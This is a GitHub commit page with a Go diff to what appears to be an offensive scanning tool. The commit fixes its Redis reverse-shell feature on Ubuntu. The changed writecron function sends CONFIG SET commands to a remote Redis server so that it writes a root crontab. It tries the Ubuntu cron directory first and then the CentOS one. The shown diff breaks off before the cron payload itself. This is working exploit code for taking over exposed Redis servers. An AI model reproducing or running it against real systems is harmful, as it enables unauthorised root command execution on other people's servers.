Fix #334 redis反弹shell在ubuntu系统下出现
`-ERR Changing directory: No such file or directory`
This commit is contained in:
Mingyu Li 2024-04-18 01:24:15 +08:00 committed by GitHub
parent eefd29d102
commit 15f3864db2
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -221,14 +221,26 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
func writecron(conn net.Conn, host string) (flag bool, text string, err error) { func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false flag = false
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) // 尝试写入Ubuntu的路径
if err != nil { _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
return flag, text, err if err != nil {
} return flag, text, err
text, err = readreply(conn) }
text, err = readreply(conn)
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
if !strings.Contains(text, "OK") {
// 如果没有返回"OK"可能是CentOS尝试CentOS的路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
}
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")) _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
if err != nil { if err != nil {